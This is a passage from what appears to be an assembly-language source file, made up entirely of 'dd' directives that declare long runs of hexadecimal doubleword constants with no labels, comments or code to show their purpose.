4FF20601h, 3D8D7737h, 8BB67091h, 71B30292h dd 0E63891C9h, 0A92D2184h, 602D80A1h, 0D000AFF2h, 0BEB3E55Ch dd 673C67E6h, 815B98BBh, 834805A6h, 56D49D11h, 0B722F8AAh dd 32BD3161h, 87BEC508h, 561DE320h, 28B9C810h, 7B1100ABh dd 8BE2F63Bh, 1330D532h, 0BE5A604Dh, 2C045405h, 0A9563B21h dd 9E112AA3h, 5600FE3Eh, 9F69A2EEh, 5D143C07h, 88C496h dd 57A38793h, 3C43D5BEh, 1F9E3384h, 0C428A9h, 39387564h dd 0F6240E15h, 0CF273Bh, 876B181Fh, 1CA4DDh, 8E9D6553h dd 0AA3132DBh, 0CB26000h, 0BCE4D0ACh, 18150744h, 1637E6D6h dd 7D6009DEh, 151B9C21h, 3CDA008Ch, 0E71811F2h, 93203F8Eh dd 0B5C0FAAh, 2D003848h, 0A6080513h, 1E6EF507h, 0EA5054C5h dd 6020D5D8h, 5B4E3032h, 0EB306A16h, 0F404605Ch, 6C9C0067h dd 0B1D7C61Fh, 0D5E8C74Fh, 72205B60h, 3768BDh, 0B894FF8Ah dd 9ACFE70Fh, 29FBB718h, 4BBB6Ch, 736253A3h, 0B0DD6D1h dd 0EBD0903h, 2632CEACh, 40E449h, 3BD82212h, 99D9C98Bh dd 0FB183590h, 6CF16708h, 40C3C4D7h, 0AD684077h, 238E00AFh dd 113B4143h, 0DE0E6DD1h, 8F32A1A3h, 0C0F6E08Ch, 0EBE9DDh dd 0D9E75759h, 0A04EA609h, 0CF38A400h, 981362ACh, 0B94D0FB0h dd 0E1603DA1h, 1D91A7EEh, 0BD50A300h, 5F2AC042h, 48AB7EB7h dd 5A00C21Eh, 3F22A9B1h, 1008FFCh, 40D295F4h, 0C18D39h dd 78E0FFC7h, 0C8813518h, 0B5B87E00h, 6ED16B06h, 0BC1F008Fh dd 0D524AABBh, 9704F082h, 5771AB0Ah, 435FED97h, 99FF9EDAh dd 94C4B07Fh, 26760081h, 578F80BDh, 1B2CA63Fh, 0C11F4F86h dd 19B0651Dh, 60970EB7h, 91D468EFh, 670FAF20h, 735229h dd 14D04049h, 7DBA3C1Ch, 133BF900h, 0C762991h, 0FC6A6003h dd 0F8B8CB0Fh, 1955A9h, 5A757B7Fh, 140E4974h, 1CBEB70Ch dd 7260DAh, 2670D964h, 56D74452h, 209300Eh, 7BC09F18h dd 7DC0D825h, 437600D9h, 0BB8339DCh, 4070FFDh, 0F4B62E5Bh dd 0B49F0570h, 61C1CC9h, 41120EB3h, 81B5CAE5h, 0D17E6AB0h dd 69462068h, 1F9B8A0Eh, 2004A028h, 0C0DA1Eh, 7FB0257Eh dd 79D82405h, 9221F90Eh, 603FA08Fh, 3A521410h, 5E00220Eh dd 0A77CF673h, 5B01C0ECh, 4030FB4Fh, 0CB3034A4h, 0DCBB0022h dd 0D60C7CB3h dd 0D730AA1Eh, 5258C91Fh, 69DE0633h, 60514029h, 1D0E37EEh dd 0A05FB8F2h, 9485AAA0h, 0C325037Dh, 0AED00C56h, 4062800h dd 20AD287Ah, 0DBCE002Eh, 0F65B54CBh, 4A00F239h, 0C1B30401h dd 1FA20ABh, 69466A30h, 0C029F197h, 0E29064A0h, 1E857603h dd 0A0BA869Fh, 0F030EBh, 64656229h, 80776147h, 75E2B703h dd 0E0E3A798h, 0F19020AAh, 9650488Ch, 3041EF18h, 2E04B4F5h dd 0E82338h, 43A05CF8h, 5E001D6Dh, 4AEEDDDAh, 18F92AA2h dd 602E2428h, 7BEACB51h, 0C9C50201h, 0C0C2194Bh, 0C129FCD0h dd 2EB3E420h, 99E3207Dh, 0CC981400h, 0AD0C657Bh, 0A867619Bh dd 6037B91Fh, 0F70D4A1Eh, 18699F57h, 41DA5BD4h, 1D788175h dd 0ED0BEBBEh, 4C6933E0h, 0AD0067C1h, 0B23F0A91h, 0CCE5D9BAh dd 45391178h, 199B0321h, 0E8AA900Dh, 0EBC1C5h, 0A16CDCFAh dd 71E80EBAh, 1C0450B0h, 0B2DDC4E2h, 6F8134C1h, 483F6F0h dd 95E39412h, 6A28C09Dh, 8A0717F8h, 714B4692h, 56486E30h dd 9BF70109h, 4D2F07ECh, 0A960F879h, 0A7DA1000h, 6626278Dh dd 0FDE0E8h, 623DEB8Fh, 0C633371h, 0BCFBFF02h, 40B982D6h dd 0DE9369h, 80C613EBh, 32ABAE5Dh, 7A4BEF1Eh, 59007C3Ah dd 1BF04752h, 0EF56B3Ah, 202AB0ADh, 7100D9AFh, 6CE60F90h dd 5E4B0900h, 19AA80F3h, 6C60379h, 5C9BCDEEh, 0E00E60A6h dd 5DC868E1h, 0DD3D0D03h, 44083052h, 6CB89E21h, 0D286101Dh dd 0F85D8D83h, 689E621h, 11BD5F18h, 2600113Fh, 0F51B2D28h dd 0FC27F384h, 33F1744Dh, 7F505D92h, 66BF10FFh, 9E18BCFFh dd 0F7F0B7E9h, 4E1700F3h, 2DEA13Dh, 0C6040F93h, 0E91B835Ah dd 0A0D0CCC2h, 4B60248Ch, 9251C0D6h, 3BE10979h, 0CF179700h dd 65237A67h, 6C717C46h, 4D40A02Dh, 169C669h, 0C36277D3h dd 7E54D8h, 0DC31B7B3h, 8108479Fh, 77B65000h, 262A37C9h dd 0F22C005Dh, 0FD9C13D3h, 50260ABBh, 8D004DEAh, 1C0CD8F8h dd 5AF401EBh, 0D3932870h, 0ACCC856h, 5EA0DFA3h, 0DF00D8E5h dd 8740DD89h, 0E4468h, 0D45AA47Bh, 0DA5FC0D7h, 7A795900h dd 54CE386Dh, 0FCBB01EFh, 14C32D94h, 7C3BE82Fh, 41A900Fh dd 9AE80013h, 0F8275F31h, 0E93F01DEh, 9EA7FABBh, 25188169h dd 0EB849803h, 7C9002F0h, 3038CCEEh, 20181F21h, 0FC3864CCh dd 0D4ED311Ch, 0EC5BA368h, 7EF8EA29h, 3BDFD906h, 748F076h dd 9781809Bh, 69314043h, 77015911h, 0C441FC47h, 18F7A465h dd 20810E08h, 89A0F171h, 46DE96D9h, 30CA9800h, 71F89F88h dd 0C31EEBFh, 0FE8F9038h, 77000510h, 82CE32B2h, 46661h dd 347303DCh, 0E22CAEBDh, 1D94A20Eh, 0B4A9C09Ah, 282329h dd 0AFC81CE5h, 0C06B15C4h, 7F970700h, 25B3E99Ah, 8D30051h dd 0A38E2766h, 4C3D2192h, 5500F329h, 14C7B915h, 1450642h dd 973AA296h, 0D020F6AEh, 2200698Eh, 6175F309h, 47AA15h dd 0D35840A8h, 60D13B24h, 14C1301Fh, 1D6200BCh, 0E17855F0h dd 206B018Fh, 3E4FBE2h, 0B1A4E8C4h, 99276900h, 0C10ADEF5h dd 0B1D161A9h, 0D4CC2F87h, 620042D9h, 0A62A7B84h, 1CF1EF2h dd 0FB3A469Fh, 2021B3EAh, 7400C66Eh, 0CB906A1Dh, 0AE3527h dd 0C064F62Ah, 0CC0520B0h, 0A824BC00h, 19594E2Eh, 8D906Dh dd 18D217C5h, 69E30886h, 25005576h, 53A41D4Ch, 1891898Ah dd 0D1C3B4D1h, 0E8180498h, 0F011E93Dh, 7D5FA3Ah, 429646CFh dd 60AE3064h, 4100C657h, 0EBB12014h, 0BDF80827h, 4700AD58h dd 704F9E3Ah, 0BA93AFh, 7610C7F0h, 54068125h, 6FA25305h dd 61817AD3h, 0E1412FBBh, 31812A4Dh, 0EBC0F261h, 1D3D8B4h dd 33812400h, 85AF29FBh, 9B061F16h, 7338B078h, 10005430h dd 9445F908h, 0E84462FFh, 20B96037h, 6C54323Ch, 803AED3Fh dd 0F0E3F584h, 30A07B83h, 2F70AE01h, 7D987D15h, 107C9430h dd 7EE5334Fh, 2C642808h, 53A3AB3h, 0FA214E33h, 0F75313D0h dd 0AC270300h, 0C355C5AEh, 0AAD8C19Eh, 0B9C905EAh, 0E4150AF0h dd 8E805899h, 89080E55h, 3E808546h, 93366F60h, 3F7B0E6Ah dd 8C9519FCh, 21290307h, 0F5F230E7h, 7507818Bh, 0E880B32Ah dd 17873377h, 0CAAAA290h, 24022920h, 18547940h, 4F510FA4h dd 9CC023C4h, 0D36E48FAh, 41ED6101h, 94B4D730h, 0C05EBAF0h dd 0BFF0AEF0h, 0ED003412h, 5B798B3Dh, 58108236h, 0A008629h dd 0D7D87558h, 1801B853h, 485695BCh, 0DADC6DBBh, 124E887h dd 4710140Bh, 0FFF05459h, 16E991E8h, 0F5E7EC00h, 9C66E509h dd 0E0F031h, 4C0FD236h, 0F119E9B6h, 2A97A58h, 77FF6A96h dd 0E2A1407Fh, 4192006Dh, 58DE1280h, 45073E11h, 0B1053207h dd 0AA1A4B10h, 685C0317h, 987CCAB3h, 3F572801h, 6726E66Dh dd 37D79F8h, 0B5A6886Bh, 0B4F0E99Ch, 583EDAF6h, 40F00F7Ch dd 598081A9h, 0DB601657h, 2C71C086h, 74F4A2Eh, 3CC7A00h dd 1E9254BCh, 53FA3A25h, 0A1F65D03h, 380050CFh, 0B207643Ah dd 7CEFFC3Dh, 0BB6B0069h, 0E9D08615h, 660030BCh, 7A2D54D1h dd 0F27619h, 917E36E6h, 7C17E181h, 0CB4C0418h, 0EF1130h dd 0AF604702h, 50C38BDBh, 955C151Eh, 0A0A3C201h, 6CF84C58h dd 5BB50353h, 8B65D727h, 7F41B90Ah, 16028421h, 401F8149h dd 0EEEA77h, 0CBE02C40h, 356A89B5h, 0A2611603h, 98E8C422h dd 48818411h, 0EB3DD038h, 52B47A80h, 0D7A1D196h, 9B397F05h dd 9C055C07h, 0A8009558h, 2527F5CDh, 1B105C68h, 0A45ABC00h dd 78ED91E2h, 1D6D4E00h, 32B447A9h, 65FB00F0h, 0B5B755E4h dd 0E860284Dh, 0E5AAB310h, 0CCCE0A88h, 0EA4A3Eh, 0E73902C9h dd 0EA052B52h, 6C69D8DFh, 490D48C0h, 0F26F1DBFh, 0FB00B86Dh dd 16DD2233h, 6E078B5Fh, 0DC179509h, 982606h, 1CE2E0B9h dd 0A41536FEh, 24AD4200h, 6E618CBBh, 0FAD000F2h, 6CC797F8h dd 69335F99h, 0F8E438AAh, 0E480417h, 0B09CDB84h, 5D585440h dd 83018978h, 15B6C427h, 47DCD36Ch, 0A717014Ch, 0CE3E8BAAh dd 94040E8h, 0A9013643h, 77ED96E2h, 38F024E1h, 342FCA0h dd 79CE11BEh, 80BF69B4h, 9218F4C2h, 24E46A00h, 0D0CA0E2Bh dd 0E6EC3Bh, 0C9354C5Ch, 0D6FB896Eh, 0D62B900h, 2D678490h dd 7AAA0083h, 0F9BC025Ah, 4900B08Ch, 0AC5280C8h, 729FAEDh dd 0BF51F376h, 44F8B9E4h, 0CBD2EC00h, 70D61FDh, 4DDD01AFh dd 0B2ADEAF7h, 0ACD540BEh, 0D4006502h, 6CB8C7D3h, 1E576E9Ch dd 0F9D8DCh, 5A90C1E2h, 97B8F366h, 6D09E700h, 0B7E035A3h dd 5F361E73h, 90CA801Eh, 113DD02Ch, 1152B03h, 0B17D0277h dd 5880C523h, 0C20A7FE2h, 80CDCFCh, 18BCCA7Bh, 985FE55h dd 8EFF7ADFh, 234ED500h, 813ADD66h, 0D1805046h, 0B27FDB18h dd 5021C430h, 0FAD28CB1h, 64371DF6h, 5C81C006h, 1DF4D496h dd 7A4A0563h, 0AF4000A4h, 7C43255Ah, 831D7BB7h, 1AC0148Ah dd 185654FCh, 2B7900B8h, 0CAC64148h, 917BCE97h, 41F11CAh dd 60752D70h, 74D510C7h, 83005967h, 70FEF429h, 0D0659Fh dd 0D7B517B7h, 7B1CDA49h, 90007574h, 4DC4BB6h, 0FAD2BF62h dd 2712000Eh, 0ED7CA771h, 0E50063C6h, 654DEBB9h, 20222Fh dd 1E239566h, 5A7CD671h, 86319002h, 0E04D9974h, 7678E51h dd 0D0F8F5A6h, 0AA9E804Ch, 0B4FC138Dh, 27151100h, 694EE9DFh dd 0BE48007Dh, 0B8B91CD5h, 9700491Fh, 3E4CB689h, 2B9CC1h dd 527E3C50h, 0BFE5A8B7h, 20DA03Eh, 51BBB3D5h, 0CA2AC0C3h dd 359712Dh, 30654EE7h dd 98A86881h, 367DBE06h, 0A5D63D00h, 21D19982h, 0F998AB9Ah dd 0C2E896C4h, 0ADDE003Eh, 0A4B6401Eh, 0BC02435Bh, 59D27523h dd 80B0AF1Bh, 4ED6E639h, 3CC20EA5h, 59E155CCh, 0F40D228Bh dd 0EE00A46Dh, 72430257h, 741FA4Eh, 0B2BAA82Fh, 64305103h dd 8082E956h, 0E693CD68h, 91E56Bh, 731F8DA6h, 0A933AF20h dd 9841E900h, 700D3727h, 9DB12664h, 0ACAB01C2h, 0DCB23FCCh dd 6F00C624h, 943126EFh, 0E8E927h, 0F8BBCE7Dh, 0DDFEDE95h dd 100F0500h, 8CA64422h, 94783B9Eh, 0AD078BC8h, 0E14F6E7Bh dd 0DC720705h, 0A20067E3h, 0BEA83F6Ah, 95B888C9h, 52B04343h dd 0F6074908h, 313782BBh, 7F506457h, 0A1A501h, 2516B0C5h dd 765EBE89h, 0D27B0B05h, 9C407783h, 9AFFA39Eh, 0E9D7A06Ch dd 0B7B585Bh, 0F70A4600h, 1121A068h, 0BC2C3F00h, 0C98AFF77h dd 169B0029h, 1783DA03h, 8200CC71h, 0FD94EC21h, 38BE431Dh dd 2383113Ch, 7265F0CFh, 0FDE90889h, 9E942496h, 1AB7B01h dd 0BE0F57D1h, 7860FCh, 0A8966364h, 0B110A7B6h, 0F1679400h dd 9D81197Eh, 25350062h, 0CFB63E66h, 7B02C22Bh, 0A6465D48h dd 0B3EC806Ch, 2D3B8Eh, 590B1CFCh, 7F05D165h, 0E1177D1Dh dd 1715AC0h, 7E02ADh, 0A4AB51C2h, 0FC6EDEB6h, 36B8B8C0h dd 24C45333h, 47FC7h, 976C218h, 38903D02h, 2196722h, 0FB45D0C9h dd 64409B6Ch, 2B0051BDh, 0E7163F69h, 1EEAF123h, 86FFE21Fh dd 127B8F94h, 6AF6E000h, 0A4EF3166h, 7DBD241Bh, 45803AA0h dd 0BB2D714Bh, 2803D16Eh, 58182FA3h, 0F0E7B893h, 0C6373210h dd 92C3BA50h, 0FAB8D790h, 1A3FE500h, 2ACE7577h, 0F9820EC9h dd 7C6EDDEEh, 0D8641460h, 0AF004065h, 0A5D3C01Dh, 71035AAh dd 2EA01EA9h, 0BF3230FCh, 0F200CD03h, 7F5E6CADh, 3B022946h dd 728EE3h, 6A8C3C53h, 7EBE2586h, 4D9A3318h, 12853140h dd 0ECC678h, 0B3FC4421h, 9200EF9Fh, 7A95502h, 1CB4101Eh dd 4078E6D9h, 0BAB06295h, 0B500C3A5h, 0FF3FF848h, 0C6677Bh dd 340E9689h, 0E0E692C7h, 0EAF22300h, 0A06AAB4Ch, 46DEC7Dh dd 843FC094h, 0F948C0C8h, 8902E048h, 0D955713h, 1AB060E7h dd 3C2500BAh, 8DF05F30h, 0C6049388h, 451E357Bh, 0FA76F090h dd 75C500C7h, 0A89A15D5h, 1A003546h, 340BA072h, 8A206Ch dd 16DAE91Ch, 8C48C9B4h, 0CE6F1F00h, 0CD3196EAh, 9C170062h dd 79C80464h, 0BD002E55h, 0EB5B0E86h, 0D0EEC4h, 0E55C944Ah dd 75EA0B36h, 0D24D8802h, 0C9F01224h, 0A4C4ED0Ch, 0C7EC1285h dd 80581DABh, 84AFA2C8h, 5E012404h, 6638F2FFh, 56F43CCEh dd 7CC33D03h, 0B7E27E8Ch, 1007A311h, 39C8E544h, 0E7F19201h dd 0AF43F0h, 15F3AE3Fh, 2FC305A6h, 2188606h, 180305Eh dd 2AA4EA3Dh, 0D8411E14h, 76019EC8h, 0A5BFDDCEh, 9711D8Dh dd 38E2D8h, 0A6688C7Fh, 0B91949AAh, 0BCC8ED0Fh, 0D3A9404Ah dd 0B735F8h, 0D0CDC248h, 0B62D8B88h, 9F70E01h, 789C84AEh dd 4BA08DCCh, 0CC1EC73h, 108AD019h, 1F9400E6h, 5B3C6608h dd 280F538Dh, 63C5FAAEh, 0C87C6E0Bh, 770488h, 63BD5D47h dd 5914DC39h, 126FB500h, 73A71620h, 72E20002h, 4BD6CE33h dd 3700CCA5h, 714D85FCh, 41AD882h, 9272709Ah, 0D258800Bh dd 247DB78Ah, 0C156C01Dh, 5CE6B40h, 0E71EC7h, 62E61028h dd 0DA7A6DB4h, 0FB6A521Ch, 4105D800h, 6530ACh, 5E49F1FDh dd 604F6D7Eh, 0D8448500h, 82B467DEh, 80870370h, 0E415C79Dh dd 0C95845F0h, 1A713471h, 0B4F00600h, 7039E201h, 0B8B100B5h dd 59C7FECBh, 1E00226Fh, 0CA7880D9h, 0ACF2D1h, 5F821C9h dd 3E076A3Ch, 51723400h, 0C038FA0Eh, 173100F5h, 0B3ED6E0Fh dd 820F8191h, 0E0A6DEF4h, 0DDF61AABh, 0EB9B0035h, 86583DB7h dd 0FD0078CEh, 0ADE02F25h, 7036233Fh, 0D95E00AEh, 9ACCBCFh dd 1B01B04Ah, 0D4B9EDDDh, 29F8E862h, 0D02158B4h, 0CAD27901h dd 3484102Ch, 40156A0h, 29B6D842h, 14605791h, 0C6BA00F7h dd 3B3AD177h, 6200E24Ah, 350DCBBCh, 0EFD69D7Eh, 7D71DF8h dd 0D85AB498h, 0DDDBF004h, 18008D46h, 97E81AEBh, 5E41071h dd 34C6FE6Fh, 0FD2493DAh, 80408381h, 8674ED90h, 3BBBD896h dd 0C1307D53h, 0FBCBCD28h, 1EF42D3Bh, 1B001F35h, 0D47E2BB9h dd 432600DBh, 890DE11h, 3C3EEE52h, 9F969D63h, 0AE609D00h dd 4619B9h, 5D7C64CAh, 0F113DBBh, 0DF91FA00h, 4E93ADCBh dd 0B7843AA3h, 8B28DA02h, 0B040F35Dh, 1701A4F0h, 8A6B4B5Ch dd 5C4733C5h, 0BF845910h, 50A47C6Fh, 33B70C62h, 3D18058h dd 3EA9FB98h, 0A033F9EAh, 0F0F760BAh, 3CDCE73h, 491D8CD9h dd 79B86720h, 9A00184Bh, 721F8FA1h, 90F182ECh, 19140067h dd 736158A8h, 7C7F7850h, 0AD98BA04h, 44D0C120h, 4AE153h dd 0F601CB54h, 0AB58D80Ah, 25C4DF0Eh, 70905247h, 9A07F0A9h dd 317F00B4h, 45499DE5h, 6004290h, 0DF411B3Dh, 1C6B972h dd 0A0EBA3A9h, 0C64435B2h, 0C5B39CC8h, 76B6341Dh, 0C4FE84Ah dd 0F19C9003h, 7F9003ECh, 4A534E19h, 0B970CDA0h, 4CFC2718h dd 0D31F28h, 7AEC282Ah, 4B3FEA1Eh, 0BA73650Ah, 0E441BC2Dh dd 60C87CE1h, 0E2373BA9h, 6595B680h, 4EA7278Fh, 9F1C2E73h dd 0F5400985h, 46EE50FCh, 66AF1F0Ch, 0BE810099h, 9EF7E2B1h dd 0FA3F90A8h, 0E9CF0D00h, 0F6D44BB8h, 9C57A94h, 5446379Dh dd 0B8953306h, 0F3C82303h, 999F2EBh, 673C91B1h, 65F1C800h dd 56EC1922h, 1530321Fh, 0ACC661F0h, 0A37102AFh, 7E8B9329h dd 400285Ah, 6576D0DEh, 366E623h, 3185D421h, 0ACD0AFA7h dd 0CB4BB4CEh, 46162C01h, 38B849E0h, 3FA2A100h, 8B59C5D9h dd 0E83B6003h, 0A0C79A36h, 202DCDA6h, 6A01C633h, 0AC158558h dd 0B3708E34h, 1C98905Bh, 0D6CB0h, 6DD972D2h, 810055F6h dd 42916E0Eh, 98E59Fh, 1DE497E3h, 73C37925h, 0B160DEE9h dd 0B71D5734h, 914770DBh, 7127D5Bh, 0F43F473h, 0B8202DC5h dd 5F2FAB1h, 1F531C01h, 9F41E936h, 0DF7CCC70h, 99E50030h dd 270DE4D3h, 7E50D109h, 493E80D8h, 0C54146Fh, 376A1225h dd 0EB1C6C38h, 0DBDF84FFh, 0A269E102h, 602C926Eh, 8017A9h dd 0F13DFC0Eh, 1C284AC4h, 4CC3CF28h, 75AE0A03h, 0E013A2F7h dd 1A07D580h, 0A8F14729h, 4008A787h, 0B6B74225h, 18E48B30h dd 33DA474h, 861AEF3h, 0EBAA25CFh, 0C4E48C80h, 470A8ABCh dd 9CB8DBD1h, 337F1830h, 0F5800018h, 0A2E9414h, 76009766h dd 413411E9h, 121916B6h, 1E84906Eh, 2DFF00AAh, 303E4C0Fh dd 93508E0Ch, 290560CCh, 824E81Dh, 9B1E7B6Ch, 35084DC0h dd 283AA1F0h, 0AC7096h, 0E38F501Dh, 544E2E95h, 1F605339h dd 9E007912h, 0A52D3534h, 70C1C0D5h, 2A026DAh, 0AFEE8E00h dd 40FC486Eh, 0F84E00ABh, 80593D18h, 0DA140FF3h, 2882CE4h dd 1DE61F52h, 0A5788F47h, 0D80F196Ah, 5448508Eh, 1179620Ah dd 0E5E400A8h, 7FD1B653h, 0CDA92706h, 3008AC87h, 0BE20E35Bh dd 162CB2ABh, 0A2001E32h, 3EB8F5C9h, 4E170026h, 0FC4507B5h dd 0DB01D26Ch, 0A602F1AAh, 24207C01h, 6FF407C5h, 0D02A48AFh dd 568DF631h, 0ECA2302Ah, 522C3600h, 85FF4360h, 0BEB700BBh dd 614F1D49h, 7D05258Bh, 0EF776BE4h, 0BD7B9400h, 3B8E3EB5h dd 728030B3h, 3800119h, 7700A260h, 989465EAh, 0EECAAFB8h dd 2D7E00CFh, 0D2DFB415h, 0FC003B62h, 0B7DCC7FBh, 9B3112h dd 82B6F02Ah dd 0D66116C3h, 4D593Ch, 3EFA4E46h, 3E8826CFh, 0B83D19Ah dd 9895A469h, 81E4E08Fh, 6D00CC6Bh, 246537E9h, 0DFC57Fh dd 6677249h, 5C76931Ch, 0B126CB07h, 18E1BC89h, 0DDF0EF92h dd 406E8B5h, 83817037h, 0FFC0BEB1h, 0EC5E97h, 8201679Dh dd 3F9FC9E6h, 0E06B30CEh, 74B155F5h, 85A00135h, 331DFE3Bh dd 9020819Bh, 35D892Ah, 98F0D6ECh, 74F257h, 96ADEA95h dd 7BDF8C2Eh, 28110630h, 58EF56FAh, 0D600B6CAh, 176D253Ah dd 0E500B44Bh, 5C340D94h, 72958A7h, 62BC028Ch, 19746101h dd 6C50874Ch, 0B5466642h, 30E6C030h, 0EC042E7Eh, 12482000h dd 31AD0D64h, 8CDA006Ch, 58DD870Eh, 3A00D889h, 54CCF782h dd 5A2665Fh, 6D8BAD17h, 0B7A98018h, 0DC300493h, 2EF6D838h dd 9A5300D7h, 4515C5BCh, 8D38ED3Ch, 24A18C46h, 53FC1040h dd 8AC0441h, 20213400h, 4E790640h, 4BAF0F1Ah, 2B20E5C8h dd 896C5AAh, 8BBC2738h, 80732E0Dh, 0A3F15750h, 1E557C43h dd 0DF850B0Eh, 0E68BC5BBh, 0A94FC0F7h, 9D009E7Dh, 8E93966Ch dd 50EB56h, 0FD44E1C3h, 0F50AB63Ch, 0B01811Ch, 0B5FFF6C0h dd 3385025h, 66BECA2Ch, 0C0EFCF41h, 362DE4BBh, 0B95DC000h dd 684ECCF0h, 1AFD003Ah, 7B6AAD45h, 0FA002513h, 0A092027Eh dd 0E2D7AE24h, 4A1201E8h, 0D88FA6FBh, 0DB8BFCE2h, 83504800h dd 0EAD4DE6Ah, 0C29200BCh, 0E1B9EE3Ch, 935C151Bh, 0B56600ACh dd 1EA66C75h, 59F60078h, 8AA8639Ah, 8D1D9809h, 61C0E0D6h dd 8B44ED9Ch, 7970015Ch, 4D221CD3h, 6FB040B1h, 7E005EC6h dd 0FC0CA6ACh, 7824C413h, 308217BAh, 8AB20494h, 3CD6C090h dd 97004521h, 6783BB15h, 0E473956h, 1B2CA022h, 1FA6801Dh dd 697F19A5h, 872B2E00h, 48773F75h, 0C92C3BF7h, 1E01E8D0h dd 0BEFE703Ah, 37215780h, 0AB479193h, 6E5D7E00h, 3FFC82A9h dd 9EDC020Ch, 189C43B9h, 27504FC0h, 6CCD5Ch, 0F3BA13Dh dd 21A69D9h, 4F756709h, 5044B266h, 99D2FC00h, 0AD57B496h dd 1C95F823h, 4038FEBCh, 0A887868Eh, 4D07F49Fh, 24E148E0h dd 43166310h, 3F8D002Dh, 59713EDh, 550C9DDAh, 880AD0C7h dd 0FE890090h, 41B68354h, 0F30BBE16h, 0F814F077h, 0FD8F1643h dd 0D032F0E0h, 26C12100h, 2CDBF80h, 360C0019h, 1488EC41h dd 6C00C4CEh, 0B89D035h, 611DEFh, 26192511h, 0B2CC0DB0h dd 93C16D0Fh, 738DE18Ah, 34D007E4h, 61F24Fh, 9AE5DCFAh dd 0D3B80A40h, 2B5A292Ch, 1B543607h, 9D8CE36Fh, 834D05Fh dd 3E2FC7Eh, 8E56DAF3h, 0AD4948h, 685BFAECh, 0F0001983h dd 4A6092D7h, 3ECDA1B4h, 1C00DB43h, 9190D42Dh, 94002F33h dd 3B75BCACh, 3D6FD806h, 7B836EEBh, 98E8F652h, 19441EC0h dd 0A09E4015h, 278400F8h, 682BE28Dh, 617A0069h, 14B91896h dd 3E7736BCh, 7698AD48h, 53D78A2Eh, 55AF7501h, 4090742Eh dd 0A86BE30Bh, 86C17Bh, 0CC87B8BBh, 3563204Fh, 6AD5D07h dd 0B72ECEC0h, 0BE6613h, 0D155B9D6h, 2407FCE8h, 0CD342576h dd 0C55156C0h, 4EED0062h, 7C7A9BBCh, 0BE002A5Bh, 0D8CA9464h dd 38C3312Bh, 0B8007F67h, 0FC90AA40h, 3A006039h, 0F478926Dh dd 16EC4EB0h, 0FAD7E6FDh, 574D2300h, 0D4B569h, 45D29518h dd 27B0A30Ch, 31410500h, 0F01CAB77h, 65B103D4h, 442302C3h dd 0C9078F8h, 0C274D130h, 0F2BE5DC8h, 70AB072Fh, 0B1A9E345h dd 20FFFC0Fh, 0F0C0B2E0h, 0B8AB81ACh, 0CD260008h, 1C8B60EFh dd 480084F2h, 0C6D5DE6Ch, 3C164FCh, 740A5C59h, 4B89A415h dd 5D92F498h, 0CCA16A00h, 0CAC824CBh, 0F71D0051h, 9860DB20h dd 6F1E570Fh, 13C0C777h, 9EB171FAh, 0D444017Dh, 2BE4DFE0h dd 0F2E1C0D1h, 4CA66100h, 78FC21C7h, 0AF27001Dh, 52B0B6F4h dd 9C072271h, 4C09B455h, 0D1C72DE0h, 3EF0E102h, 0CEB000C0h dd 9EF6FCECh, 1A124355h, 0DD013F49h, 764460E6h, 3D5F7280h dd 0FDD66CEh, 0F935B43Dh, 0DBEDA200h, 0A6D845F8h, 242C0010h dd 0D6C5DCECh, 26EA35A5h, 8C510D00h, 0B6B3FABBh, 76ED0597h dd 0F7B2B4h, 0C10CFFF3h, 0DD00269Eh, 0B8E3C096h, 0D7CCD4h dd 0AE445798h, 7D58F41Ch, 0F2B47B00h, 0F6AB882Dh, 0D93C001Bh dd 296D43BDh, 3F07F932h, 6056DDB0h, 6E806B70h, 644A0F86h dd 1921E21Dh, 22D0F17Bh, 808700B4h, 715B3E6Ch, 889D00C5h dd 0E1E6B6EBh, 5E03165Fh, 0F955E733h, 60468A83h, 635ABD6Ch dd 61CC40DDh, 158AC4Ch, 5CC1CDDAh, 0B4D48763h, 65222421h dd 97740094h, 1607C29Eh, 0D8B208E0h, 20EE0300h, 0A43388A3h dd 0FF4928Ch, 0A2F36E0Eh, 5FD82A21h, 5A82D0F1h, 0E0F95714h dd 0DD53E02Ch, 14721880h, 0C711D116h, 8910D700h, 0F061F950h dd 0E76600B7h, 0AEE4B53Ch, 44017C47h, 0F1F3712Dh, 4F21629Bh dd 2992D8EBh, 0FE74078Bh, 509A0841h, 177B3DE3h, 47AB8E03h dd 0C07C8ABCh, 0C09382h, 8329B2CAh, 0E88C4B3Eh, 622F7200h dd 7E670FA4h, 8E2B008Bh, 3394DE9Ah, 64002734h, 132ED504h dd 0F79B3Dh, 0DB323F19h, 0C86DC731h, 79F81724h, 8FAA5400h dd 17C6E6E5h, 4099CBF7h, 16CEAC48h, 644C0ABCh, 0D02A0131h dd 93782831h, 4EC7720h, 3B561157h, 7614C0BBh, 0E80F2905h dd 20A27B36h, 44840CB2h, 44603EBh, 3E3370C0h, 2F0DEA00h dd 7687D881h, 0D59300ECh, 16698AFAh, 3C3AC7DCh, 5CD68190h dd 369BA615h, 0E4A86194h, 7098700h, 0D5656A7Bh, 68583717h dd 7C113000h, 28D7BEh, 2F619597h, 5EE1158Ah, 363FED00h dd 3125F406h, 93B20016h, 94FA8BACh, 80054A6h, 10BFD003h dd 0B9FCCAh, 3A8DC047h, 7877C392h, 103E1F8h, 597E715Ah dd 4D080DDh, 5E4300F6h, 1244E716h, 84385FA5h, 7DC2804Bh dd 477F025Bh, 727004CFh, 81213B68h, 9D47844h, 0E006422h dd 0AE3D3A89h, 41B79BEDh, 39CC2578h, 612B03C9h, 5D665F92h dd 216D3E0h, 0E4839100h, 41DEF0FFh, 1D0B0F20h, 2769E5Fh dd 0AF765370h, 0AD0E68C5h, 6088082h, 0B18821h, 3A3CC0AFh dd 5CC4E9F7h, 3B2B7604h, 0C3C0BFF9h, 603E50B6h, 1D9EF01Bh dd 37B88378h, 0F649E677h, 0F0FA00CCh, 3859FED0h, 7B8A01A2h dd 11AA450Eh, 0DD1C705Ch, 7528D109h, 65B81816h, 5EE000FAh dd 76BB56B1h, 0C001101Dh, 952355FFh, 0E82469CDh, 32150488h dd 0C04A677Fh, 2FD7D19Ch, 4921CE30h, 3E7105A7h, 760545DCh dd 0C03C04F7h, 0C6EAC590h, 22AD1E00h, 949C7D44h, 0E0657815h dd 410900D3h, 8718CB53h, 0F300D835h, 0FE7FFC76h, 0E0D5680Ah dd 5D0F00EBh, 0F6B7558Eh, 4F03D96Eh, 0BFC22C99h, 3C59A049h dd 1FB1017Eh, 6A9803F1h, 36ACD4B5h, 643B9F0Eh, 0FFF560D9h dd 49F4D183h, 0BB39E80Eh, 5000ADC0h, 0D861121Bh, 